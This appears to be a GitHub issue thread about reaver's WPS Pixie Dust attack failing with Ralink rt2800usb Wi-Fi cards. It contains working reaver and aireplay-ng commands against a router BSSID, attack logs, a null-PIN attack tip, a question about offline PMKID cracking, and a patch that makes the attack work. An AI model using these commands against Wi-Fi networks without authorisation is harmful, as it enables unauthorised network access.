Timeout problem with RT3570 Wireless card

[mtnsec]

This problem only occurs with RA5370 (driver rt2800usb, I have two of these made by different manufacturers and both have the same problem) wireless cards (I have more than one, and they all exhibit this behavior). I have success with rtl8812au cards. I went through your troubleshooting guide here: https://github.com/t6x/reaver-wps-fork-t6x/wiki/Troubleshooting

My results are below:

First, info about my setup:

Kali 2020.1 on a Raspberry Pi4, kernel info:

root@kali:~# uname -a
Linux kali 4.19.93-Re4son-v8l+ #1 SMP PREEMPT Tue Jan 7 22:53:24 UTC 2020 aarch64 GNU/Linux

Wireless card driver info:

phy1    wlan0       rt2800usb   Ralink Technology, Corp. RT5370

I had previously been trying to use wifite2, and the WPS tests with reaver have been failing so I'm now working directly with reaver and not wifite. Here is the error/problem (I'm using -N because I saw in an older issue here that Ralink cards require it. All adding -N did was increase the amount of time before it times out and fails):

root@kali:~# reaver --interface wlan0 --bssid D8:0D:17:14:2F:6E --channel 3 -vvv --pixie-dust 1 -N

Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Switching wlan0 to channel 3
[+] Waiting for beacon from D8:0D:17:14:2F:6E
[+] Received beacon from D8:0D:17:14:2F:6E
[+] Vendor: RalinkTe
WPS: A new PIN configured (timeout=0)
WPS: UUID - hexdump(len=16): [NULL]
WPS: PIN - hexdump_ascii(len=8):
     31 32 33 34 35 36 37 30                           12345670        
WPS: Selected registrar information changed
WPS: Internal Registrar selected (pbc=0)
WPS: sel_reg_union
WPS: set_ie
WPS: cb_set_sel_reg
WPS: Enter wps_cg_set_sel_reg
WPS: Leave wps_cg_set_sel_reg early
WPS: return from wps_selected_registrar_changed
[+] Trying pin "12345670"
send_packet called from deauthenticate() 80211.c:333
send_packet called from authenticate() 80211.c:364
[+] Sending authentication request
[!] Found packet with bad FCS, skipping...
send_packet called from associate() 80211.c:417
[+] Sending association request
[+] Associated with D8:0D:17:14:2F:6E (ESSID: TP-Link_2F6E)
[+] Sending EAPOL START request
send_packet called from send_eapol_start() send.c:48
send_packet called from resend_last_packet() send.c:161
...<snip>...
send_packet called from resend_last_packet() send.c:161
[!] WARNING: Receive timeout occurred

Here is the aireplay injection test result:

root@kali:~# aireplay-ng -9 -a D8:0D:17:14:2F:6E -e TP-Link_2F6E wlan0 00:36:41  Waiting for beacon frame (BSSID: D8:0D:17:14:2F:6E) on channel 3
00:36:41  Trying broadcast probe requests...
00:36:41  Injection is working!
00:36:43  Found 1 AP 

00:36:43  Trying directed probe requests...
00:36:43  D8:0D:17:14:2F:6E - channel: 3 - 'TP-Link_2F6E'
00:36:43  Ping (min/avg/max): 1.291ms/2.915ms/6.190ms Power: -23.20
00:36:43  30/30: 100%

Here is the association test result:

root@kali:~# aireplay-ng -1 0 -a D8:0D:17:14:2F:6E -e TP-Link_2F6E -h 1c:bf:ce:90:1e:8a wlan0 
00:50:30  Waiting for beacon frame (BSSID: D8:0D:17:14:2F:6E) on channel 3

00:50:30  Sending Authentication Request (Open System)
00:50:30  Authentication successful
00:50:30  Sending Association Request [ACK]
00:50:30  Association successful :-) (AID: 1)

The next step says to take a packet capture and determine if there is a reply to the EAPOL messages. I've attached my capture, I see the router responding but not the same way that it does in a successful attack.

Also for your reference, I'm attaching a packet capture of the same attack against the same router using a rtl8812au wireless card. This attack succeeds, so it rules out the problem at the router. I have tested both of these cards against multiple WPS-enabled routers with the same results.

For your reference for filtering the captures:

Router MAC = d8:0d:17:14:2f:6e RA5370 MAC = 1c:bf:ce:90:1e:8a rtl8812au MAC = 00:c0:ca:96:67:27

captures.tar.gz

[rofl0r]

[!] Found packet with bad FCS, skipping...

this suggests the driver generates bad packets. it would be interesting to know which exact packet caused this.

[+] Associated with D8:0D:17:14:2F:6E (ESSID: TP-Link_2F6E)

this is interesting, i can't see an association response in the ra3570.pcap

[mtnsec]

this is interesting, i can't see an association response in the ra3570.pcap

The pcap I uploaded was taken during the attack, I can take one during the aircrack association test if you need it?

Editing to attach new pcap: rt5370_assoc.pcap.gz

[rofl0r]

reaver --interface wlan0 --bssid D8:0D:17:14:2F:6E --channel 3 -vvv --pixie-dust 1 -N

The pcap I uploaded was taken during the attack, I can take one during the aircrack association test if you need it?

i assumed you used reaver for the association step, since your command line lacks -A parameter

[mtnsec]

That's correct, I did not use -A with reaver. The first pcap I uploaded is from the failed reaver commandline you quoted above:

root@kali:~# reaver --interface wlan0 --bssid D8:0D:17:14:2F:6E --channel 3 -vvv --pixie-dust 1 -N

The rt5370_assoc.pcap is from the aircrack association test using this commandline:

aireplay-ng -1 0 -a D8:0D:17:14:2F:6E -e TP-Link_2F6E -h 1c:bf:ce:90:1e:8a wlan0 

[rofl0r]

please checkout git commit fd5dc9590a340ab8cd43e3f35763b73e7f53e969 recompile reaver, then use reaver without -A and record a pcap in parallel, as well as use -O foo.pcap option to write an additional pcap with faulty packets (please also provide reaver output from that session)

[mtnsec]

Edited - correct pcaps are attached. Thanks --

pcap from newly compiled reaver with -O:
reaver_output.pcap.gz

pcap from concurrent tcpdump: reaver_tcpdump.pcap.gz

Thanks!

[mtnsec]

Reaver output:

root@kali:~/reaver-wps-fork-t6x/src# ./reaver --interface wlan0 --bssid D8:0D:17:14:2F:6E --channel 3 -vvv --pixie-dust 1 -N -O reaver_output.pcap

Reaver v1.6.5-git-9-gfd5dc95 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Switching wlan0 to channel 3
[+] Waiting for beacon from D8:0D:17:14:2F:6E
[+] Received beacon from D8:0D:17:14:2F:6E
[+] Vendor: RalinkTe
WPS: A new PIN configured (timeout=0)
WPS: UUID - hexdump(len=16): [NULL]
WPS: PIN - hexdump_ascii(len=8):
     31 32 33 34 35 36 37 30                           12345670        
WPS: Selected registrar information changed
WPS: Internal Registrar selected (pbc=0)
WPS: sel_reg_union
WPS: set_ie
WPS: cb_set_sel_reg
WPS: Enter wps_cg_set_sel_reg
WPS: Leave wps_cg_set_sel_reg early
WPS: return from wps_selected_registrar_changed
[+] Trying pin "12345670"
send_packet called from deauthenticate() 80211.c:337
send_packet called from authenticate() 80211.c:368
[+] Sending authentication request
[!] Found packet with bad FCS, skipping...
send_packet called from associate() 80211.c:421
[+] Sending association request
[+] Associated with D8:0D:17:14:2F:6E (ESSID: TP-Link_2F6E)
[+] Sending EAPOL START request
send_packet called from send_eapol_start() send.c:48
send_packet called from resend_last_packet() send.c:161
[+] Received deauth request
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
send_packet called from send_eapol_start() send.c:48
[+] Received deauth request
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
send_packet called from send_eapol_start() send.c:48
[+] Received deauth request
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
send_packet called from resend_last_packet() send.c:161
^Csend_packet called from send_termination() send.c:142

[+] Nothing done, nothing to save.

[rofl0r]

the FCS checksum thing was a red herring. it's been fixed in the very next commit: 61915956f2d20d428f23094ee45a7f7c3061f4ab

i guess a 1.6.6 release is really due...

the tcpdump capture is interesting. we have the first assoc request packet immediately followed by EAPOL start, as if reaver would misinterpret one of the authentication success packets as an association success one.

[mtnsec]

I just compiled the latest commit and tested. It still fails but the errors are much different now. Attaching console output and pcaps:

reaver_g6191595_console.txt reaver_g6191595_output.pcap.gz reaver_g6191595_tcpdump.pcap.gz

[rofl0r]

you need -N, its omission caused the premature abort you're seeing

[mtnsec]

Thanks! I added -N back, and at first saw the same errors as previous builds. After crtl-C and restarting reaver 3 times, I had success.

After rebooting the router to repeat the tests, it appears that I need to stop and restart reaver multiple times before it succeeds, so the success is intermittent. I started taking pcaps again until I could get a second success. It took 10 tries, with the 10th one being the success. I've attached all 10 related pcaps and the output from the 7th try through the successful one (My buffer cut off all of failures before I thought to copy and paste them all, but the errors prior to success are all the same). Any ideas how I can get more consistent results?

reaver_with-N_1-10.pcaps.tar.gz reaver_10th_Try.txt

Thank you!!

[mtnsec]

Good morning! Just wondering if you have any suggestions for how to get more consistent results with the ra5370 wireless card? Thanks!

[mtnsec]

Just came to update that it appears to be any card that uses the rt2800usb driver. I have also tested a ra5372 card with the same inconsistent results. Approx 10% success rate against known, vulnerable APs.

100% success rate against the same networks with cards that use rtl8812au drivers.

Unfortunately, I can't just use the known good card. My use case requires the cards that use the rt2800usb driver.

Any updates would be most appreciated! Thanks!

[masharia-john]

have you guys tried null pin.....so far all TP LINK's routers have been a pain,especially the vendors RalinkTe and AtherosC

[masharia-john]

@mtnsec if you have 2 adapters try attacking a TP LINK router at the same time, for one of the terminals specify the argument -p as (-p '') without the brackets and include the quotation marks.....the TP LINK router should give up the pin.

[masharia-john]

Though this is out of topic.........is there a way you can Crack a captured PMKID offline from a router....using the same consept as the pixiewps employs without the time consumption in hcxdumptools and hashcat and the possibility of a trillionth passphrase actually getting to work.

[mtnsec]

@masharia-john

The problem happens only with wifi cards that use the rt2800usb driver. The exact same attacks against the exact same networks succeed with wifi cards that use the rtl8812 driver. I'll double check null pin attacks, but I vaguely remember that particuar attack fails against the targets we're testing regardless of whether we're using a Ralink or Realtek wifi card? I have other WPS targets (not TP-link) that we can test and the results are consistent.

The Ralink cards have about a 10% pixie dust success rate when the Realtek cards have a 100% success rate.

What we really need is a solution for the Ralink cards, because we don't have the option to buy enough Realtek (or other working chipset) cards for this project. :(

[masharia-john]

Okay...lemme see if i can find a method to help.

[masharia-john]

send me your Ralink specs i.e range,version number...etc. I need to buy the exact one(s) your using.

[mtnsec]

I've tried these three cards:

https://www.amazon.com/Panda-Wireless-PAU06-300Mbps-Adapter/dp/B00JDVRCI0/

https://www.amazon.com/Tenda-W311MA-150MBPS-Wireless-Adapter/dp/B006GCY9PS/

And this is the one that I collected all of the above packet captures with: https://www.amazon.com/Connecting-Wireless-Adapter-150Mbps-Raspberry/dp/B073J3HXZH/

Thanks!

[masharia-john]

got it....i've already ordered the tenda and panda.....will get back to you if i find a solution.

[mtnsec]

I appreciate the help!

[1yura]

mtnsec, try this patch https://0x0.st/iBeF.tgz for this release https://github.com/t6x/reaver-wps-fork-t6x/releases/download/v1.6.6/reaver-1.6.6.tar.xz cd reaver-1.6.6/src patch -p2 < reaver-1.6.6-ralink.patch

[rofl0r]

@1yura

                        case 4:
-                               ret = process_authenticate_associate_resp(0);
+                               ret = process_authenticate_associate_resp(1);

this looks like (0) was an oversight to begin with, and we should apply it generally, don't you think?

[1yura]

Yes. And tracking de-authentication packets is generally useful.

[mtnsec]

Thanks! The patch provided by @1yura fixed it for me. :)

[rofl0r]

@1yura any chance you could get the patch into an upstreamable form ? i already tested the (1) change and it works OK for me.

[1yura]

Of course )

[masharia-john]

@1yura Thanks man....@mtnsec i guess the issue is fixed

[mtnsec]

Just checking in to see if there's a plan to incorporate this patch into the official release? I have multiple devices to install, and I've been holding off waiting for the ability to just clone and build, instead of clone, patch and build...

[rofl0r]

i was hoping that @1yura prepares a PR with commits explaining the single changes he made and without //HACK comments, i.e. "upstreamable"

[1yura]

This patch was created several versions ago. Now I discovered it is enough just

diff -rup reaver-wps-fork-t6x-1.6.5/src/80211.c reaver-wps-fork-t6x-1.6.5-patched/src/80211.c
--- reaver-wps-fork-t6x-1.6.5/src/80211.c   2018-05-11 20:11:29.000000000 +0300
+++ reaver-wps-fork-t6x-1.6.5-patched/src/80211.c   2020-07-10 06:29:12.805079597 +0300
@@ -299,7 +299,7 @@ int reassociate(void)
                state++;
                break;
            case 4:
-               ret = process_authenticate_associate_resp(0);
+               ret = process_authenticate_associate_resp(1);
                if(ret) state++;
                else return 0;
                break;

And use -N option.

[rofl0r]

@1yura: thanks. is there a specific reason you use 1.6.5 and not 1.6.6 ?

@mtnsec: i pushed @1yura's fix to master, could you please try if current git version works for you without the patch ?